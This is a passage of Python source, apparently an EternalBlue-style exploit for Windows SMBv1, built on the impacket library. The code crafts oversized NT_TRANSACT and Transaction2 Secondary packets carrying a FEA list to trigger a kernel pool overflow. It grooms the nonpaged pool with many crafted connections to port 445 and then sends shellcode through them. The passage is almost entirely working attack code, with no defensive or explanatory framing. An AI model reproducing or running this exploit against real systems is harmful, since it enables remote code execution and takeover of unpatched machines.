        transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transfer_command['Parameters'] = smb.SMBEcho_Parameters()
        transfer_command['Data'] = smb.SMBEcho_Data()
        transfer_command['Parameters']['EchoCount'] = 1
        transfer_command['Data']['Data'] = data

        packet.addCommand(transfer_command)

        connection.sendSMB(packet)
        retval_packet = connection.recvSMB()

        if retval_packet.getNTStatus() == 0:
            print("echo request succeeded")
        else:
            print("bad echo request: 0x{:x}".format(
                retval_packet.getNTStatus()))

    def create_alloc_session(target, size):
        connection = smb.SMB(target, target)
        _, flags = connection.get_flags()
        flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags &= ~smb.SMB.FLAGS2_UNICODE
            request_size = size // 2
        else:
            flags |= smb.SMB.FLAGS2_UNICODE
            request_size = size

        connection.set_flags(flags2=flags)

        packet = smb.NewSMBPacket()

        session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        session_setup[
            'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
        session_setup['Parameters']['MaxBufferSize'] = 61440
        session_setup['Parameters']['MaxMpxCount'] = 2
        session_setup['Parameters']['VcNumber'] = 2
        session_setup['Parameters']['SessionKey'] = 0
        session_setup['Parameters']['SecurityBlobLength'] = 0
        session_setup['Parameters'][
            'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
        session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20

        packet.addCommand(session_setup)

        connection.sendSMB(packet)

        retval_packet = connection.recvSMB()
        if retval_packet.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
        else:
            print('SMB1 session setup allocate nonpaged pool failed')
        return connection

    def send_transfer_second(connection, tid, data, displacement):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid

        # assume no params

        transfer_command = smb.SMBCommand(
            smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
        transfer_command[
            'Parameters'] = lib.settings.SMBTransaction2SecondaryParametersFixed(
            )
        transfer_command['Data'] = smb.SMBTransaction2Secondary_Data()
        transfer_command['Parameters']['TotalParameterCount'] = 0
        transfer_command['Parameters']['TotalDataCount'] = len(data)

        fixed_offset = 32 + 3 + 18

        transfer_command['Data']['Pad1'] = ''
        transfer_command['Parameters']['ParameterCount'] = 0
        transfer_command['Parameters']['ParameterOffset'] = 0

        if len(data) > 0:
            pad_to_len = (4 - fixed_offset % 4) % 4
            transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len
        else:
            transfer_command['Data']['Pad2'] = ''
            pad_to_len = 0

        transfer_command['Parameters']['DataCount'] = len(data)
        transfer_command['Parameters'][
            'DataOffset'] = fixed_offset + pad_to_len
        transfer_command['Parameters']['DataDisplacement'] = displacement
        transfer_command['Data']['Trans_Parameters'] = ''
        transfer_command['Data']['Trans_Data'] = data

        pkt.addCommand(transfer_command)

        connection.sendSMB(pkt)

    def send_big_transfer(connection,
                          tid,
                          setup,
                          data,
                          params,
                          first_fragment,
                          send_last=True):
        packet = smb.NewSMBPacket()
        packet['Tid'] = tid

        command = struct.pack('<H', setup)

        # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
        transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transfer_command['Parameters'] = smb.SMBNTTransaction_Parameters()
        transfer_command['Parameters']['MaxSetupCount'] = 1
        transfer_command['Parameters']['MaxParameterCount'] = len(params)
        transfer_command['Parameters']['MaxDataCount'] = 0
        transfer_command['Data'] = smb.SMBTransaction2_Data()
        transfer_command['Parameters']['Setup'] = command
        transfer_command['Parameters']['TotalParameterCount'] = len(params)
        transfer_command['Parameters']['TotalDataCount'] = len(data)

        fixed_offset = 32 + 3 + 38 + len(command)

        if len(params) > 0:
            pad_len = (4 - fixed_offset % 4) % 4
            pad_bytes = '\xFF' * pad_len
            transfer_command['Data']['Pad1'] = pad_bytes
        else:
            transfer_command['Data']['Pad1'] = ''
            pad_len = 0

        transfer_command['Parameters']['ParameterCount'] = len(params)
        transfer_command['Parameters'][
            'ParameterOffset'] = fixed_offset + pad_len

        if len(data) > 0:
            pad_to_len = (4 - (fixed_offset + pad_len + len(params)) % 4) % 4
            transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len
        else:
            transfer_command['Data']['Pad2'] = ''
            pad_to_len = 0

        transfer_command['Parameters']['DataCount'] = first_fragment
        transfer_command['Parameters']['DataOffset'] = transfer_command['Parameters']['ParameterOffset'] + \
            len(params) + pad_to_len

        transfer_command['Data']['Trans_Parameters'] = params
        transfer_command['Data']['Trans_Data'] = data[:first_fragment]

        packet.addCommand(transfer_command)

        connection.sendSMB(packet)
        connection.recvSMB()  # must be success

        i = first_fragment
        while i < len(data):
            send_size = min(4096, len(data) - i)
            if len(data) - i <= 4096:
                if not send_last:
                    break
            send_transfer_second(connection, tid, data[i:i + send_size], i)
            i += send_size

        if send_last:
            connection.recvSMB()
        return i

    def create_connection_big_80(target):
        sk = socket.create_connection((target, 445))
        packet = '\x00' + '\x00' + struct.pack('>H', 0xfff7)
        packet += 'BAAD'
        packet += '\x00' * 0x7c
        sk.send(packet)
        return sk

    try:
        connection = smb.SMB(target, target)
        connection.login_standard('', '')

        server_os = connection.get_server_os()
        print("connected to target server: {}".format(server_os))
        for os in unacceptable_target_servers:
            if server_os.startswith(os):
                raise lib.settings.OperatingSystemNotSupported(
                    "connected target: {} is not supported".format(server_os))

        connection_tree = "\\\\{}\\IPC$".format(target)
        tid = connection.tree_connect_andx(connection_tree)
        progress = send_big_transfer(connection, tid, 0, fea_list, '\x00' * 30,
                                     2000, False)
        alloc_connection = create_alloc_session(target, ntfea_size - 0x1010)

        server_net_connection = []

        for _ in range(num_groom_connection):
            sk = create_connection_big_80(target)
            server_net_connection.append(sk)

        hole_connection = create_alloc_session(target, ntfea_size - 0x10)

        alloc_connection.get_socket().close()

        for _ in range(5):
            sk = create_connection_big_80(target)
            server_net_connection.append(sk)

        hole_connection.get_socket().close()

        send_transfer_second(connection, tid, fea_list[progress:], progress)
        retval_packet = connection.recvSMB()
        retval_status = retval_packet.getNTStatus()

        if retval_status == 0xc000000d:
            print('good response status: INVALID_PARAMETER')
        else:
            print('bad response status: 0x{:08x}'.format(retval_status))

        for sk in server_net_connection:
            sk.send(fake_recv_struct + shell_code)
        for sk in server_net_connection:
            sk.close()

        connection.disconnect_tree(tid)
        connection.logoff()
        connection.get_socket().close()
    except Exception as e:
        print(str(e))
        return False